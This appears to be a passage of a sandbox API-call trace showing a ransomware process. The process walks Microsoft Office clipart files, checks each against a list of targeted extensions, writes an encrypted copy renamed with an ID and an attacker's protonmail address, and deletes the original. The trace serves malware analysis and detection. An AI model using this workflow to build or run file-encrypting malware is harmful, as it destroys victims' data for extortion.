	[0071.240] lstrlenW (lpString=".pdf") returned 4
	[0071.240] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0071.240] lstrlenW (lpString=".xls") returned 4
	[0071.240] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0071.240] lstrlenW (lpString=".xlsx") returned 5
	[0071.240] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0071.240] lstrlenW (lpString=".ppt") returned 4
	[0071.240] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0071.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0071.241] lstrlenW (lpString=".zip") returned 4
	[0071.241] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0071.241] lstrlenW (lpString=".rar") returned 4
	[0071.241] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0071.241] lstrlenW (lpString=".bz2") returned 4
	[0071.241] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0071.241] lstrlenW (lpString=".7z") returned 3
	[0071.241] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0071.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0071.241] lstrlenW (lpString=".dbf") returned 4
	[0071.241] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0071.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0071.241] lstrlenW (lpString=".1cd") returned 4
	[0071.241] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0071.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0071.241] lstrlenW (lpString=".jpg") returned 4
	[0071.241] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0071.241] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0071.241] lstrlenW (lpString="AN01251_.WMF") returned 12
	[0071.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0071.242] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=2756) returned 1
	[0071.242] CloseHandle (hObject=0x364) returned 1
	[0071.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 0x220
	[0071.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0071.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0071.242] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.242] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0071.243] GetLastError () returned 0x0
	[0071.243] ReadFile (in: hFile=0x364, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0xac4, lpOverlapped=0x0) returned 1
	[0071.245] WriteFile (in: hFile=0x388, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xad0, lpOverlapped=0x0) returned 1
	[0071.246] ReadFile (in: hFile=0x364, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.246] WriteFile (in: hFile=0x388, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0071.246] SetEndOfFile (hFile=0x388) returned 1
	[0071.246] CloseHandle (hObject=0x388) returned 1
	[0071.247] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.247] SetEndOfFile (hFile=0x364) returned 1
	[0071.248] CloseHandle (hObject=0x364) returned 1
	[0071.248] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0071.248] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 1
	[0071.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0071.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0071.249] lstrlenW (lpString=".doc") returned 4
	[0071.249] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0071.249] lstrlenW (lpString=".docx") returned 5
	[0071.249] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0071.249] lstrlenW (lpString=".pdf") returned 4
	[0071.249] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0071.249] lstrlenW (lpString=".xls") returned 4
	[0071.249] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0071.249] lstrlenW (lpString=".xlsx") returned 5
	[0071.249] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0071.249] lstrlenW (lpString=".ppt") returned 4
	[0071.249] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0071.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0071.249] lstrlenW (lpString=".zip") returned 4
	[0071.249] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0071.249] lstrlenW (lpString=".rar") returned 4
	[0071.249] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0071.249] lstrlenW (lpString=".bz2") returned 4
	[0071.250] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0071.250] lstrlenW (lpString=".7z") returned 3
	[0071.250] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0071.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0071.250] lstrlenW (lpString=".dbf") returned 4
	[0071.250] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0071.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0071.250] lstrlenW (lpString=".1cd") returned 4
	[0071.250] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0071.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0071.250] lstrlenW (lpString=".jpg") returned 4
	[0071.250] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0071.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0071.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0071.250] lstrlenW (lpString=".doc") returned 4
	[0071.250] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0071.250] lstrlenW (lpString=".docx") returned 5
	[0071.250] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0071.250] lstrlenW (lpString=".pdf") returned 4
	[0071.250] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0071.250] lstrlenW (lpString=".xls") returned 4
	[0071.250] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0071.250] lstrlenW (lpString=".xlsx") returned 5
	[0071.250] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0071.250] lstrlenW (lpString=".ppt") returned 4
	[0071.251] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0071.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0071.251] lstrlenW (lpString=".zip") returned 4
	[0071.251] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0071.251] lstrlenW (lpString=".rar") returned 4
	[0071.251] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0071.251] lstrlenW (lpString=".bz2") returned 4
	[0071.251] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0071.251] lstrlenW (lpString=".7z") returned 3
	[0071.251] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0071.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0071.251] lstrlenW (lpString=".dbf") returned 4
	[0071.251] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0071.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0071.251] lstrlenW (lpString=".1cd") returned 4
	[0071.251] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0071.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0071.251] lstrlenW (lpString=".jpg") returned 4
	[0071.251] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0071.251] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0071.251] lstrlenW (lpString="AN01545_.WMF") returned 12
	[0071.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0071.252] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=7372) returned 1
	[0071.252] CloseHandle (hObject=0x364) returned 1
	[0071.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 0x220
	[0071.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0071.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0071.252] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.252] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0071.253] GetLastError () returned 0x0
	[0071.253] ReadFile (in: hFile=0x364, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x1ccc, lpOverlapped=0x0) returned 1
	[0071.692] WriteFile (in: hFile=0x388, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x1cd0, lpOverlapped=0x0) returned 1
	[0071.693] ReadFile (in: hFile=0x364, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.693] WriteFile (in: hFile=0x388, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0071.693] SetEndOfFile (hFile=0x388) returned 1
	[0072.176] CloseHandle (hObject=0x388) returned 1
	[0072.212] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.212] SetEndOfFile (hFile=0x364) returned 1
	[0072.213] CloseHandle (hObject=0x364) returned 1
	[0072.213] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0072.214] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 1
	[0072.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0072.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0072.214] lstrlenW (lpString=".doc") returned 4
	[0072.215] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.215] lstrlenW (lpString=".docx") returned 5
	[0072.215] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.215] lstrlenW (lpString=".pdf") returned 4
	[0072.215] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.215] lstrlenW (lpString=".xls") returned 4
	[0072.215] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.215] lstrlenW (lpString=".xlsx") returned 5
	[0072.215] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.215] lstrlenW (lpString=".ppt") returned 4
	[0072.215] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0072.215] lstrlenW (lpString=".zip") returned 4
	[0072.215] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.215] lstrlenW (lpString=".rar") returned 4
	[0072.215] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.215] lstrlenW (lpString=".bz2") returned 4
	[0072.215] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.215] lstrlenW (lpString=".7z") returned 3
	[0072.215] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0072.215] lstrlenW (lpString=".dbf") returned 4
	[0072.215] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0072.215] lstrlenW (lpString=".1cd") returned 4
	[0072.215] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0072.216] lstrlenW (lpString=".jpg") returned 4
	[0072.216] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0072.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0072.216] lstrlenW (lpString=".doc") returned 4
	[0072.216] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.216] lstrlenW (lpString=".docx") returned 5
	[0072.216] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.216] lstrlenW (lpString=".pdf") returned 4
	[0072.216] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.216] lstrlenW (lpString=".xls") returned 4
	[0072.216] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.216] lstrlenW (lpString=".xlsx") returned 5
	[0072.216] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.216] lstrlenW (lpString=".ppt") returned 4
	[0072.216] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0072.216] lstrlenW (lpString=".zip") returned 4
	[0072.216] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.216] lstrlenW (lpString=".rar") returned 4
	[0072.216] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.216] lstrlenW (lpString=".bz2") returned 4
	[0072.216] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.216] lstrlenW (lpString=".7z") returned 3
	[0072.216] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0072.216] lstrlenW (lpString=".dbf") returned 4
	[0072.217] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0072.217] lstrlenW (lpString=".1cd") returned 4
	[0072.217] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0072.217] lstrlenW (lpString=".jpg") returned 4
	[0072.217] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.217] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0072.217] lstrlenW (lpString="AN04332_.WMF") returned 12
	[0072.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0072.217] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=4296) returned 1
	[0072.217] CloseHandle (hObject=0x364) returned 1
	[0072.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf")) returned 0x220
	[0072.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0072.218] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.218] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0072.218] GetLastError () returned 0x0
	[0072.218] ReadFile (in: hFile=0x364, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x10c8, lpOverlapped=0x0) returned 1
	[0072.220] WriteFile (in: hFile=0x388, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x10d0, lpOverlapped=0x0) returned 1
	[0072.221] ReadFile (in: hFile=0x364, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.221] WriteFile (in: hFile=0x388, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0072.221] SetEndOfFile (hFile=0x388) returned 1
	[0072.222] CloseHandle (hObject=0x388) returned 1
	[0072.223] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.223] SetEndOfFile (hFile=0x364) returned 1
	[0072.224] CloseHandle (hObject=0x364) returned 1
	[0072.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0072.224] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf")) returned 1
	[0072.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0072.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0072.225] lstrlenW (lpString=".doc") returned 4
	[0072.225] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.225] lstrlenW (lpString=".docx") returned 5
	[0072.225] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.225] lstrlenW (lpString=".pdf") returned 4
	[0072.225] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.225] lstrlenW (lpString=".xls") returned 4
	[0072.225] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.225] lstrlenW (lpString=".xlsx") returned 5
	[0072.225] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.225] lstrlenW (lpString=".ppt") returned 4
	[0072.225] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0072.225] lstrlenW (lpString=".zip") returned 4
	[0072.225] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.225] lstrlenW (lpString=".rar") returned 4
	[0072.225] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.225] lstrlenW (lpString=".bz2") returned 4
	[0072.225] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.225] lstrlenW (lpString=".7z") returned 3
	[0072.225] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0072.225] lstrlenW (lpString=".dbf") returned 4
	[0072.225] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0072.225] lstrlenW (lpString=".1cd") returned 4
	[0072.225] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0072.225] lstrlenW (lpString=".jpg") returned 4
	[0072.226] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0072.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0072.226] lstrlenW (lpString=".doc") returned 4
	[0072.226] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.226] lstrlenW (lpString=".docx") returned 5
	[0072.226] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.226] lstrlenW (lpString=".pdf") returned 4
	[0072.226] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.226] lstrlenW (lpString=".xls") returned 4
